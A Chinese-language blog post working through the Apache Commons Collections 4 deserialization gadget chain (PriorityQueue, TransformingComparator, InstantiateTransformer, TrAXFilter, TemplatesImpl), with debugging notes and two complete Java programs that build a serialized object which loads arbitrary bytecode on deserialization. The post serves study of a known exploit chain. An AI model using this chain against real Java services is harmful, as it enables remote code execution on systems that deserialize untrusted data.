CC4-类的动态加载

环境搭建

换依赖

大概链子:

image-20241014201130372

参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=4.6

分析

从查找ChainedTransformer的transform方法的用法开始

注意是CC4的ChainedTransformer

然后查找这个transform的用法,最后找到的是
org.apache.commons.collections4.comparators.TransformingComparator类的compare方法

原因:
这个类可以序列化:

另一方面这个compare方法常用

然后找compare方法的用法

我们用到的是java.util.function.Consumer.PriorityQueue这个类的readObject

PriorityQueue.readObject -> PriorityQueue.heapify

heapify方法:
PriorityQueue.heapify -> PriorityQueue.siftDown

PriorityQueue.siftDown -> PriorityQueue.siftDownUsingComparator

PriorityQueue.siftDownUsingComparator -> TransformingComparator.compare

先写能够执行的代码:

TemplatesImpl.newTransformer -> defineClass -> newInstance

TrAXFilter.trAFilter -> TemplatesImpl.newTransformer -> defineClass->newInstance

TemplatesImpl.newTransformer -> defineClass->newInstance

卡到了这儿:

应该给_tfactory赋什么值?
看它的定义:

private transient TransformerFactoryImpl _tfactory = null;

在readObject这里有示例:

 _tfactory = new TransformerFactoryImpl();

即增加:

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

接下来就是实现

InstantiateTransformer.transform -> TrAXFilter.TrAXFilter

InstantiateTransformer类的构造方法:

private InstantiateTransformer() {
    super();
    iParamTypes = null;
    iArgs = null;
}

TrAXFilter构造方法:

public TrAXFilter(Templates templates)

_transformer = (TransformerImpl) templates.newTransformer();

这里templates = TemplatesImpl
transform方法:

final Constructor<? extends T> con = input.getConstructor(iParamTypes);

return con.newInstance(iArgs);

此时con = TrAXFilter.class

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); // 参数类型,参数值
instantiateTransformer.transform(TrAXFilter.class);
  • 难点是InstantiateTransformer类的构造方法初始化,其中Object指的是对象,传一个实例化对象即可,Class指的是Class对象,类.class即可
public InstantiateTransformer(final Class<?>[] paramTypes, final Object[] args)

然后就是TransformingComparetor.Compare -> InstantiateTransformer.transform
扩展的是:

instantiateTransformer.transform(TrAXFilter.class);

显然transformer = instantiateTransformer

TransformingComparetor类的构造方法:

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                  final Comparator<O> decorated)

即:

TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer, null);
transformingComparator.compare(TrAXFilter.class,null);

现在考虑调用compare
PriorityQueue.siftDownUsingComparator -> TransformingComparetor.compare

此时comparator = TransformingComparetor

但是siftDownUsingComparator被private修饰,不能直接调用

随后的调用链:
PriorityQueue.readObject -> heapify -> siftDown -> siftDownUsingComparator

该类的构造方法:

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator)

this.queue = new Object[initialCapacity];
this.comparator = comparator;

即令comparetor = TransformingComparetor

序列化与反序列化的时候会出现:

InstantiateTransformer 是一个不能序列化的类

为什么这条链是CC4,而不是CC3的?
可以看到:TransformingComparatro在CC3中没有实现Serializable接口,而在CC4里面实现了

× 打不通。。。

问题解决了。。。就是C4的版本不对

C4.0的InstantiateTransformer 实现了Serializable接口:

调试的时候发现这里进不去:

size的结果为0,size >>> 1的结果为0
经测试,size至少为2才能进入for循环:

就直接通过反射赋值吧

Class p = priorityQueue.getClass();
Field sizeField = p.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);

也可以通过add()函数增大size的值

priorityQueue.add(1);
priorityQueue.add(1);

如果这样的话就会触发:
add -> offer -> siftUp -> siftUpUsingComparator -> comparator.compare

会在反序列化之前提前触发
所以处理是:

这样的放在CC4_2.java中

赋值之后重新调

另:

PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好

调的时候又发现问题:没有给这个input赋值

而且与之关联的comparator.compare这里不便赋值:

所以怎么办呢?想到了ConstantTransformer
这是发生在TransformingComparator.compare -> InstantiateTransformer.transform这里的

所以改的是:

TransformingComparator transformingComparator =
new TransformingComparator(instantiateTransformer, null);

改成了:

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer

};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator =
        new TransformingComparator(chainedTransformer, null);

所以说,ConstantTransformer+chainedTransformer 实际上也是一种赋值的方式
transformers数组内部莫名有种连续的感觉????

OK,这样子CC4的链子走完了。。

代码

下面这两段代码的区别就是将priorityQueue.heapify 方法中 size 赋值为2的方法不同

代码1

package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC4 {
    public static void main(String[] args) throws  Exception{
        // TemplatesImpl.newTransformer -> defineClass -> newInstance
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\CC4_Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        new InvokerTransformer<>("",new Class[]{},new Object[]{});
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}); // 参数类型,参数值
//        instantiateTransformer.transform(TrAXFilter.class);

//        TransformingComparator transformingComparator =
//                new TransformingComparator(instantiateTransformer, null);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator =
                new TransformingComparator(chainedTransformer, null);


//        transformingComparator.compare(TrAXFilter.class,null);

        PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
        Class p = priorityQueue.getClass();
        Field sizeField = p.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(priorityQueue,2);

//        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

代码2

package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC4_2 {
    public static void main(String[] args) throws  Exception{
        // TemplatesImpl.newTransformer -> defineClass -> newInstance
        TemplatesImpl templates = new TemplatesImpl();
        //        templates.newTransformer();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\CC4_Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        // 在反序列化的时候才会加上这个_tfactory
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

//        new InvokerTransformer<>("",new Class[]{},new Object[]{});
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}); // 参数类型,参数值
//        instantiateTransformer.transform(TrAXFilter.class);

//        TransformingComparator transformingComparator =
//                new TransformingComparator(instantiateTransformer, null);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator =
                new TransformingComparator<>(new ConstantTransformer<>(1));
        // 先改为没用的,


//        transformingComparator.compare(TrAXFilter.class,null);

        PriorityQueue priorityQueue = new PriorityQueue<>( transformingComparator); // 构造方法也要选好
//        Class p = priorityQueue.getClass();
//        Field sizeField = p.getDeclaredField("size");
//        sizeField.setAccessible(true);
//        sizeField.set(priorityQueue,2);

        priorityQueue.add(1);
        priorityQueue.add(1);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}
posted @ 2024-10-14 20:19  starme  阅读(5)  评论(0编辑  收藏  举报